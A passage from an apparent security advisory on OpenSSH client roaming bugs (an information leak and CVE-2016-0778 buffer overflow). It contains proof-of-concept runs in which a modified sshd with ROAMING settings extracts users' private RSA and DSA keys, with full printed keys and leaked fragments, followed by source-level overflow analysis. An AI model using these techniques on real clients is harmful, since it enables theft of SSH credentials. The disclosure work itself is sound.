FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=
-----END RSA PRIVATE KEY-----

# env ROAMING="client_out_buf_size:2048" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-35ee7ab0/infoleak
MIIEogIBAAKCAQEAzjortydu20T6wC6BhFzKNtVJ9uYSMOjWlghws4OkcXQtu+Cc
VEhdal/HFyKyiNMAUDMi0gjOHsia8X4GS7xRNwSjUHOXnrvPne/bGF0d4DAxfAFL
9bOwoNnBIEFci37YMOcGArvrEJ7hbjJhGTudekRU78IMOichpdYtkpkGUyGmf175
ynUpCcJdzngL8yF9Iezc8bfXAyIJjzjXmSVu9DypkeUBW28qIuMr5ksbekHcXhQn
w8Y2oEDeyPSGIdWZQcVpdfaAk+QjCEs84c0/AvZoG2iY85OptjNDfynFJSDR5muU
MANXJm5JFfC89fy0nGkQJa1FfNpPjUQY8hWz7QIDAQABAoIBAQC36R6FJrBw8PIh
oxezv8BB6DIe8gx0+6AqinpfTN3Ao9gJPYSMkUBlleaJllLbPDiCTSgXYOzYfRPY
mwfoUJeo1gUCwSMM1vaPJZEhCCGVhcULjmh8RHQW7jqRllh+um74JX6xv34hA1+M
k3cONqD4oamRa17WGYGjT/6yRq9iP/0AbBT+haRKYC4nKWrdkqEJXk10pM2kmH6G
+umbybQrGrPf854VqOdftoku0WjBKrD0hsFZbB24rYmFj+cmbx+cDEqt03xjw+95
n5xM/97jqB6rzkPAdRUuzNec+QNGMvA+4YpItF1vdEfd0N3Jl/VIQ+8ZAhANnvCt
8uRHC7OhAoGBAO9PqmApW1CY+BeYDyqGduLwh1HVVZnEURQJprenOtoNxfk7hkNw
rsKKdc6alWgTArLTEHdULU8GcZ6C0PEcszk2us3AwfPKko8gp2PD5t/8IW0cWxT5
cMxcelFydu8MuikFthqNEX4tPNrZy4FZlOBGXCYlhvDqHk+U7kVIhkLFAoGBANyb
3pLYm7gEs9zoL5HxEGvk9x2Ds9PlULcmc//p+4HCegE0tehMaGtygQKRQFuDKOJV
WGKRjgls7vVXeVI2RABtYsT6OSBU9kNQ01EHzjOqN53O43e6GB4EA+W/GLEsffOZ
pCw09bOVvgClicyekO3kv0lsVvIfAWgxVQY0oZ8JAoGBAIyisquEYmeBHfsvn2oM
T32agMu0pXOSDVvLODChlFJk2b1YH9UuOWWWXRknezoIQgO5Sen2jBHu5YKTuhqY
FTNAWJNl/hU5LNv0Aqr8i4eB8lre2SAAXyuaBUAsFnzxa82Dz7rWwDr4dtTePVws
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS

$ /usr/bin/ssh -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume][connection resumed]

# cat /tmp/roaming-6cb31d82/infoleak
...
uvL6Jlk8oIqf62Q1T7ljn5NJAoGAQ8ZHHMobHO+k6ksSwj1TFDKlkJWzm3ep0nqn
zIlv0S+UF+a/s/w1YD0vUUCaiwLCfrZFjxK0lkS3LPyQsyckwRTZ8TYGct5nQcsF
ALHrMYgryfmTfGbZne8R23VX+qZ2k24yN7qVeXSZiM1ShmB4mf1anw3/sCbCYeY1
/tAQjzECf1NKzRdfWRhiBqlEquNshrUNWQxYVnXl+WPgilKAIc1XJ9M0dOCvhwjk
kRTxN77l+klobzq+q+BtPiy9mFmwtwPbAP8l5bVzkZSY2FBDOQiUWS9ZJrCUupeS
Y1tzYFyta0xSod/NGoUd673IgfLnfiGMOLhy+9qhhwCqF10RiS0=

------------------------------------------------------------------------

Private Key Disclosure example: OpenBSD 5.8, 2048-bit RSA key
------------------------------------------------------------------------

$ head -n 1 /etc/motd
OpenBSD 5.8 (GENERIC) #1066: Sun Aug 16 02:33:00 MDT 2015

$ /usr/bin/ssh -V
OpenSSH_7.0, LibreSSL 2.2.2

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAwe9ssfYbABhOGxnBDsPf5Hwypr3tVz4ZCK2Q9ZWWBYnk+KVL
ruLv7NWzeuKF7ls8z4SdpP/09QIIWQO5xWmQ7OM7ndfHWexFoyS/MijorHLvwG1s
17KFF8aC5vcBTfVkWnFaERueyd+mxv+oIrskA3/DK7/Juojkq70aPAdafiWOuVT8
L/2exFuzpSmwiXbPuiPgImO9O+9VQ4flZ4qlO18kZxXF948GisxxkceOYWTIX6uh
xSs/NEGF/drmB4RTAL1ZivG+e4IMxs5naLz4u3Vb8WTDeS6D62WM1eq5JRdlZtGP
vavL01Kv3sYFvoD0OPUU4BjU8bd4Qb30C3719wIDAQABAoIBAG4zFpipN/590SQl
Jka1luvGhyGoms0QRDliJxTlwzGygaGoi7D800jIxgv13BTtU0i4Grw/lXoDharP
Kyi6K9fv51hx3J2EXK2vm9Vs2YnkZcf6ZfbLQkWYT5nekacy4ati7cL65uffZm19
qJTTsksqtkSN3ptYXlgYRGgH5av3vaTSTGStL8D0e9fcrjSdN0UntjBB7QGT8ZnY
gQ1bsSlcPM/TB6JYmHWdpCAVeeCJdDhYoHKlwgQuTdpubdlM80f6qat7bsm95ZTK
QolQFpmAXeU4Bs5kFlm0K0qYFkWNdI16ScOpK6AQZGUTcHICeRL3GEm6NC0HYBNt
gKHPucECgYEA7ssL293PZR3W9abbivDxvtCjA+41L8Rl8k+J0Dj0QTQfeHxHD2eL
cQO2lx4N3E9bJMUnnmjxIT84Dg7SqOWThh3Rof+c/vglyy5o/CzbScISQTvjKfuB
+s5aNojIqkyKaesQyxmdacLxtBBppZvzCDTHBXvAe4t8Bus2DPBzbzsCgYEAz+jl
hcsMQ1egiVVpxHdjtm3+D1lbgITk0hzIt9DYEIMBJ7y5Gp2mrcroJAzt7VA2s7Ri
hBSGv1pjz4j82l00odjCyiUrwvE1Gs48rChzT1PcQvtPCCanDvxOHwpKlUTdUKZh
vhxPK/DW3IgUL0MlaTOjncR1Zppz4xpF/cSlYHUCgYB0MhVZLXvHxlddPY5C86+O
nFNWjEkRL040NIPo8G3adJSDumWRl18A5T+qFRPFik/depomuQXsmaibHpdfXCcG
8eeaHpm0b+dkEPdBDkq+f1MGry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==
-----END RSA PRIVATE KEY-----

# "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 1 %h %p" -p 222 127.0.0.1
[connection suspended, press return to resume]Segmentation fault (core dumped)

(this example requires a ProxyCommand because of the NULL-aitop bug
described in the Mitigating Factors of the Information Leak section, and
crashes because of the NULL-pointer dereference discussed in the
Mitigating Factors of the Buffer Overflow section)

# cat /tmp/roaming-a5eca355/infoleak
ry+AtEOxWUwIkVKjm48Wry2CxroURqn6Zqohzdra
uWPGxUsKUvtNGpM4hKCHFQKBgQCM8ylXkRZZOTjeogc4aHAzJ1KL+VptQKsYPudc
prs0RnwsAmfDQYnUXLEQb6uFrVHIdswrGvdXFuJ/ujEhoPqjlp5ICPcoC/qil5rO
ZAX4i7PRvSoRLpMnN6mGpaV2mN8pZALzraGG+pnPnHmCqRTdw2Jy/NNSofdayV8V
8ZDkWQKBgQC2pNzgDrXLe+DIUvdKg88483kIR/hP2yJG1V7s+NaDEigIk8BO6qvp
ppa4JYanVDl2TpV258nE0opFQ66Q9sN61SfWfNqyUelZTOTzJIsGNgxDFGvyUTrz
uiC4d/e3Jlxj21nUciQIe4imMb6nGFbUIsylUrDn8GfA65aePLuaSg==

------------------------------------------------------------------------

Private Key Disclosure example: CentOS 7, 1024-bit DSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_dsa
-----BEGIN DSA PRIVATE KEY-----
MIIBvQIBAAKBgQDmjJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5n
GLnZn1lmDldNaqhV0ECESXZVEpq/8TR2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsCioD2
hUaU7sV6Nho9fJIclxuxZP8j+uzidQKKN/+CVbQougsLsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4=
-----END DSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-b7b16dfc/infoleak
jJYHvennuPmKGxfMuNc4nW2Z1via6FkkZILWOO1QJLB5OXqe
kt7t/AAr+1n0lJbC1Q8hP01LFnxKoqqWfHQIuQL+S88yr5T8KY/VxV9uCVKpQk5

# strings /tmp/roaming-b324ce87/infoleak
IuQL
R2m2XjSmE+7Y14hI0cjBdnOz2X8wIVAP0a
Nmtvmc4H+iFvKorV4B+tqRmvAoGBAKjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9v

# strings /tmp/roaming-24011739/infoleak
KjE7ps031YRb6S3htr/ncPlXKtNTSTwaakC
o7l7mJT+lI9vTrQsu3QCLAUZnmVHAIj/m9juk8kXkZvEBXJuPVdL0tCRNAsC

# strings /tmp/roaming-37456846/infoleak
LsBlstpuQ4Hr2DHmalL8X
iISkLhuyAoGBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZNA
yq4Kwj/

# strings /tmp/roaming-988ff54c/infoleak
GBAKKRxVAVr2Q72Xz6vRmbULRvsfG1sSxNHOssA9CWKByOjDr2mo1l
B7oIhTZ+eGvtHjiOozM0PzlcRSu5ZY3ZN2hfXITp9/4oatxFUV5V8aniqyq4Kwj/

# strings /tmp/roaming-53887fa5/infoleak
/4oatxFUV5V8aniqyq4Kwj/
QlCmHO7eRlPArhylx8uRnoHkbTRe+by5fmPImz/3WUtgPnx8y3NOEsCtAhUApdtS
F9AoVoZFKEGn4FEoYIqY3a4

------------------------------------------------------------------------

Private Key Disclosure example: Fedora 20, 2048-bit RSA key
------------------------------------------------------------------------

$ grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="Fedora 20 (Heisenbug)"

$ /usr/bin/ssh -V
OpenSSH_6.4p1, OpenSSL 1.0.1e-fips 11 Feb 2013

$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAmbj/XjOppLWSAhuLKiRoHsdp66LJdY2PvP0ht3GWDKKCk7Gz
HLas5VjotS9rmupavGGDiicMHPClOttWAI9MRyvP77iZhSei/RzX1/UKk/broTDp
o9ljBnQTzRAyw8ke72Ih77SOGfOLBvYlx80ZmESLYYH95aAeuuDvb236JnsgRPDQ
/B/gyRIhfqis70USi05/ZbnAenFn+v9zoSduDYMzSM8mFmh9f+9PVb9qMHdfNkIy
2E78kt9BknU/bEcCWyL+IXNLV0rgRGAcE0ncKu13YvuH/7o4Q7bW2FYErT4P/FHK
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9w9gf1zGqWkTytMiqcawMW4LZAJlSI/rGWe7lYHuceZSSgzd5lF4VP06
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+prtAxpPNfKElEV7ZPBrTRAuCUr
Hiy7yflZ3w0qHekNafX/tnWiU4zi/p6aD4rs10YaYSnSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa
jwj3EZsXmtP+wd3fhge7pIHp5RiKfBn0JtSvXQQHO0k0eEcQ4aA/6yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4syLfm
qK+cwb7uCSi5PfloRiLryPdvnobDGLfFGdOHaX7km+4u5+taYg2Er8IsAxtMNwM5
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+
ZS16+aH97RKdJD/4qiskzzHvZs+wi4LKPHHHz7ETXr/m4CRfMIU=
-----END RSA PRIVATE KEY-----

# env ROAMING="heap_massaging:linux" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -p 222 127.0.0.1
...

# strings /tmp/roaming-a2bbc5f6/infoleak
cRmpbVfAzJQb85uXUXaNLVW0A/gHqTaGCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CG

# strings /tmp/roaming-47b46456/infoleak
RGAcE0nc
GCUWJUwIDAQABAoIBAD0ZpB8MR9SY+uTt
j737ZIs/VeF7/blEwCotLvacJjj1axNLYVb7YPN0CGLj61BS8CfKVp9V7+Gc4P/o
6GEmk/oB9

# strings /tmp/roaming-7a6717ae/infoleak
cawMW4LZ1
Xz/wTMkSDZh/M6zOnQhImcLforsiPbTKKIVLL6u13VUmDcYfaBh9VepjyN8i+KIV
JQB26MlXSxuAp8o0BQUI8FY/dsObJ9xjMT/u2+p

# strings /tmp/roaming-f3091f08/infoleak
lZ3w0qHe
nSolsDs2k8wHbVP4VtLE8l
PRfXS6ECgYEAyVf7Pr3TwTa0pPEk1dLz3XHoetTqUND/0Kv+i7MulBzJ4LbcsTEJ

# strings /tmp/roaming-62a9e9a3/infoleak
lZ3w0qHe
r3TwTa0pPEk11
LbcsTEJ
rtOuGGpLrAYlIvCgT+F26mov5fRGsjjnmP3P/PsvzR8Y9DhiWl9R7qyvNznQYxjo
/euhzdYixxIkfqyopnYFoER26u37/OHe37P

# strings /tmp/roaming-8de31ed5/infoleak
7qyvNznQ
26u37/OHe37PH+8U1JitVrhv7s4NYztECgYEAw3Ot
gxMqsKh42ydIv1sBg1QEHu0TNvyYy7WCB8jnMsygUQ8EEJs7iKP//CEGRdDAwyGa

# strings /tmp/roaming-f5e0fbcc/infoleak
yESI62wOuaY
vJ+q7WMo1wHtMoqRPtW/OAxUf91dQRtzK/GpRuMCgYAc7lh6vnoT9FFmtgPN+b7y
3fBC3h9BN5banCw6VKfnvm8/q+bwSxS

# strings /tmp/roaming-9be933df/infoleak
QRtzK/GpRuMC1
C3h9BN5banCw6VKfnvm8/q+bwSxSSG3aTqYpwEH37lEnk0IfuzQ1O5JfX+hdF
Q4tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmT

# strings /tmp/roaming-ee4d1e6c/infoleak
SG3aTqYp
tEVa+bsNE8HnH7fGDgg821iMgpxSWNfvNECXX71t6JmTOun5zVV6EixsmDn80P
pdyhj8fAUU/BceHr/H6hUQKBgCX5SqPlzGyIPvrtVf//s

# strings /tmp/roaming-c2bfd69c/infoleak
SG3aTqYp
6JmTOun5zVV6A
H6hUQKBgCX5SqPlzGyIPvrtVf//sXqPj0Fm9E3Bo/ooKLxU
dz7ybM9y6GpFjrqMioa07+AOn/UJiVry9fXQuTRWre+CqRQEWpuqtgPR0c4s

# strings /tmp/roaming-2b3217a1/infoleak
DGLfFGdO
r5bbAoGAfxRRGMamXIha8xaJwQnHKC/9v7r79LPFoht/EJ7jw/k8n8yApoLBLBYp
P/jXU44sbtWB3g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCQ

# strings /tmp/roaming-1e275747/infoleak
g3eARxPL3HBLVVMWfW9ob7XxI4lKqCQ9cuKCBqosVbEQhNKZAj+

========================================================================

Buffer Overflow (CVE-2016-0778)
========================================================================

------------------------------------------------------------------------

Analysis
------------------------------------------------------------------------

Support for roaming was elegantly added to the OpenSSH client: the calls
to read() and write() that communicate with the SSH server were replaced
by calls to roaming_read() and roaming_write(), two wrappers that depend
on wait_for_roaming_reconnect() to transparently reconnect to the server
after a disconnection. The wait_for_roaming_reconnect() routine is
essentially a sequence of four subroutines:

239 int
240 wait_for_roaming_reconnect(void)
241 {
...
250 fprintf(stderr, "[connection suspended, press return to resume]");
...
252 packet_backup_state();
253 /* TODO Perhaps we should read from tty here */
254 while ((c = fgetc(stdin)) != EOF) {
...
259 if (c != '\n' && c != '\r')
260 continue;
261
262 if (ssh_connect(host, &hostaddr, options.port,
...
265 options.proxy_command) == 0 && roaming_resume() == 0) {
266 packet_restore_state();
...
268 fprintf(stderr, "[connection resumed]\n");
...
270 return 0;
271 }
272
273 fprintf(stderr, "[reconnect failed, press return to retry]");
...
275 }
276 fprintf(stderr, "[exiting]\n");
...
278 exit(0);
279 }

1. packet_backup_state() close()s connection_in and connection_out (the
old file descriptors that connected the client to the server), and saves
the state of the suspended SSH session (for example, the encryption and
decryption contexts).

2. ssh_connect() opens new file descriptors, and connects them to the
SSH server.

3. roaming_resume() negotiates the resumption of the suspended SSH
session with the server, and calls resend_bytes().

4. packet_restore_state() updates connection_in and connection_out (with
the new file descriptors that connect the client to the server), and
restores the state of the suspended SSH session.

The new file descriptors for connection_in and connection_out may differ
from the old ones (if, for example, files or pipes or sockets are opened
or closed between two successive ssh_connect() calls), but unfortunately
historical code in OpenSSH assumes that they are constant:

- In client_loop(), the variables connection_in and connection_out are
cached locally, but packet_write_poll() calls roaming_write(), which
may assign new values to connection_in and connection_out (if a
reconnection occurs), and client_wait_until_can_do_something()
subsequently reuses the old, cached values.

- client_loop() eventually updates these cached values, and the
following FD_ISSET() uses a new, updated file descriptor (the fd
connection_out), but an old, out-of-date file descriptor set (the
fd_set writeset).

- packet_read_seqnr() (old API, or ssh_packet_read_seqnr(), new API)
first calloc()ates setp, a file descriptor set for connection_in;
next, it loops around memset(), FD_SET(), select() and roaming_read();
last, it free()s setp and returns. Unfortunately, roaming_read() may
reassign a higher value to connection_in (if a reconnection occurs),
but setp is never enlarged, and the following memset() and FD_SET()
may therefore overflow setp (a heap-based buffer overflow):

1048 int
1049 packet_read_seqnr(u_int32_t *seqnr_p)
1050 {
....
1052 fd_set *setp;
....
1058 setp = (fd_set *)xcalloc(howmany(active_state->connection_in + 1,
1059 NFDBITS), sizeof(fd_mask));
....
1065 for (;;) {
....
1075 if (type != SSH_MSG_NONE) {
1076 free(setp);
1077 return type;
1078 }
....
1083 memset(setp, 0, howmany(active_state->connection_in + 1,
1084 NFDBITS) * sizeof(fd_mask));
1085 FD_SET(active_state->connection_in, setp);
....
1092 for (;;) {
....
1097 if ((ret = select(active_state->connection_in + 1, setp,
1098 NULL, NULL, timeoutp)) >= 0)
1099 break;
....
1115 }
....
1117 do {
....
1119 len = roaming_read(active_state->connection_in, buf,
1120 sizeof(buf), &cont);
1121 } while (len == 0 && cont);
....
1130 }
1131 /* NOTREACHED */
1132 }

- packet_write_wait() (old API, or ssh_packet_write_wait(), new API) is
basically similar to packet_read_seqnr() and may overflow its own setp
if roaming_write() (called by packet_write_poll()) reassigns a higher
value to connection_out (after a successful reconnection):

1739 void
1740 packet_write_wait(void)
1741 {
1742 fd_set *setp;
....
1746 setp = (fd_set *)xcalloc(howmany(active_state->connection_out + 1,
1747 NFDBITS), sizeof(fd_mask));
1748 packet_write_poll();
1749 while (packet_have_data_to_write()) {
1750 memset(setp, 0, howmany(active_state->connection_out + 1,
1751 NFDBITS) * sizeof(fd_mask));
1752 FD_SET(active_state->connection_out, setp);
....
1758 for (;;) {
....
1763 if ((ret = select(active_state->connection_out + 1,
1764 NULL, setp, NULL, timeoutp)) >= 0)
1765 break;
....
1776 }
....
1782 packet_write_poll();
1783 }
1784 free(setp);
1785 }

------------------------------------------------------------------------

Mitigating Factors
------------------------------------------------------------------------

This buffer overflow affects all OpenSSH clients >= 5.4, but its impact
is significantly reduced by the Mitigating Factors detailed in the
Information Leak section, and additionally:

- OpenSSH versions >= 6.8 reimplement packet_backup_state() and
packet_restore_state(), but introduce a bug that prevents the buffer
overflow from being exploited; indeed, ssh_packet_backup_state() swaps
two local pointers, ssh and backup_state, instead of swapping the two
global pointers active_state and backup_state:

9 struct ssh *active_state, *backup_state;
...
238 void
239 packet_backup_state(void)
240 {
241 ssh_packet_backup_state(active_state, backup_state);
242 }
243
244 void
245 packet_restore_state(void)
246 {
247 ssh_packet_restore_state(active_state, backup_state);
248 }

2269 void
2270 ssh_packet_backup_state(struct ssh *ssh,
2271 struct ssh *backup_state)
2272 {
2273 struct ssh *tmp;
....
2279 if (backup_state)
2280 tmp = backup_state;
2281 else
2282 tmp = ssh_alloc_session_state();
2283 backup_state = ssh;
2284 ssh = tmp;
2285 }
....
2291 void
2292 ssh_packet_restore_state(struct ssh *ssh,
2293 struct ssh *backup_state)
2294 {
2295 struct ssh *tmp;
....
2299 tmp = backup_state;
2300 backup_state = ssh;
2301 ssh = tmp;
2302 ssh->state->connection_in = backup_state->state->connection_in;

As a result, the global pointer backup_state is still NULL when passed
to ssh_packet_restore_state(), and crashes the OpenSSH client when
dereferenced:

# env ROAMING="overflow:A fd_leaks:0" "`pwd`"/sshd -o ListenAddress=127.0.0.1:222 -o UsePrivilegeSeparation=no -f /etc/ssh/sshd_config -h /etc/ssh/ssh_host_rsa_key

$ /usr/bin/ssh -V
OpenSSH_6.8, LibreSSL 2.1

$ /usr/bin/ssh -o ProxyCommand="/usr/bin/nc -w 15 %h %p" -p 222 127.0.0.1
user (at) 127.0.0 (dot) 1 [email concealed]'s password:
[connection suspended, press return to resume]Segmentation fault (core dumped)

This bug prevents the buffer overflow from being exploited, but not
the information leak, because the vulnerable function resend_bytes()
is called before ssh_packet_restore_state() crashes.

- To the best of our knowledge, this buffer overflow is not exploitable
in the default configuration of the OpenSSH client; the conclusion of
the File Descriptor Leak section suggests that two non-default options
are required: a ProxyCommand, and either ForwardAgent (-A) or
ForwardX11 (-X).

------------------------------------------------------------------------

File Descriptor Leak
------------------------------------------------------------------------

A back-of-the-envelope calculation indicates that, in order to increase
the file descriptor connection_in or connection_out, and thus overflow
the file descriptor set setp in packet_read_seqnr() or
packet_write_wait(), a file descriptor leak is needed:

- First, the number of bytes calloc()ated for setp is rounded up to the
nearest multiple of sizeof(fd_mask): 8 bytes (or 64 file descriptors)
on 64-bit systems.

- Next, in glibc, this number is rounded up to the nearest multiple of
MALLOC_ALIGNMENT: 16 bytes (or 128 file descriptors) on 64-bit
systems.

- Last, in glibc, a MIN_CHUNK_SIZE is enforced: 32 bytes on 64-bit
systems, of which 24 bytes (or 192 file descriptors) are reserved for
setp.

- In conclusion, a file descriptor leak is needed, because connection_in
or connection_out has to be increased by hundreds in order to overflow
setp.

The search for a suitable file descriptor leak begins with a study of
the behavior of the four ssh_connect() methods, when called for a
reconnection by wait_for_roaming_reconnect():

1. The default method ssh_connect_direct() communicates with the server
through a simple TCP socket: the two file descriptors connection_in and
connection_out are both equal to this socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of the
old TCP socket is close()d by packet_backup_state(), but immediately
reused for the new TCP socket in ssh_connect_direct(): the new file
descriptors connection_in and connection_out are equal to this old,
low-numbered file descriptor, and cannot possibly overflow setp.

2. The special ProxyCommand "-" communicates with the server through
stdin and stdout, but (as explained in the Mitigating Factors of the
Information Leak section) it cannot possibly reconnect to the server,
and is therefore immune to this buffer overflow.

3. Surprisingly, we discovered a file descriptor leak in the
ssh_proxy_fdpass_connect() method itself; indeed, the file descriptor
sp[1] is never close()d:

101 static int
102 ssh_proxy_fdpass_connect(const char *host, u_short port,
103 const char *proxy_command)
104 {
...
106 int sp[2], sock;
...
113 if (socketpair(AF_UNIX, SOCK_STREAM, 0, sp) < 0)
114 fatal("Could not create socketpair to communicate with "
115 "proxy dialer: %.100s", strerror(errno));
...
161 close(sp[0]);
...
164 if ((sock = mm_receive_fd(sp[1])) == -1)
165 fatal("proxy dialer did not pass back a connection");
...
171 /* Set the connection file descriptors. */
172 packet_set_connection(sock, sock);
173
174 return 0;
175 }

However, two different reasons prevent this file descriptor leak from
triggering the setp overflow:

- The method ssh_proxy_fdpass_connect() communicates with the server
through a single socket received from the ProxyCommand: the two file
descriptors connection_in and connection_out are both equal to this
socket's file descriptor.

In wait_for_roaming_reconnect(), the low-numbered file descriptor of
the old socket is close()d by packet_backup_state(), reused for sp[0]
in ssh_proxy_fdpass_connect(), close()d again, and eventually reused
again for the new socket: the new file descriptors connection_in and
connection_out are equal to this old, low-numbered file descriptor,
and cannot possibly overflow setp.

- Because of the waitpid() bug described in the Mitigating Factors of
the Information Leak section, the method ssh_proxy_fdpass_connect()
calls fatal() before it returns to wait_for_roaming_reconnect(), and
is therefore immune to this buffer overflow.

4. The method ssh_proxy_connect() communicates with the server through a
ProxyCommand and two different pipes: the file descriptor connection_in
is the read end of the second pipe (pout[0]), and the file descriptor
connection_out is the write end of the first pipe (pin[1]):

180 static int
181 ssh_proxy_connect(const char *host, u_short port, const char *proxy_command)
182 {
...
184 int pin[2], pout[2];
...
192 if (pipe(pin) < 0 || pipe(pout) < 0)
193 fatal("Could not create pipes to communicate with the proxy: %.100s",
194 strerror(errno));
...
240 /* Close child side of the descriptors. */
241 close(pin[0]);
242 close(pout[1]);
...
247 /* Set the connection file descriptors. */
248 packet_set_connection(pout[0], pin[1]);
249
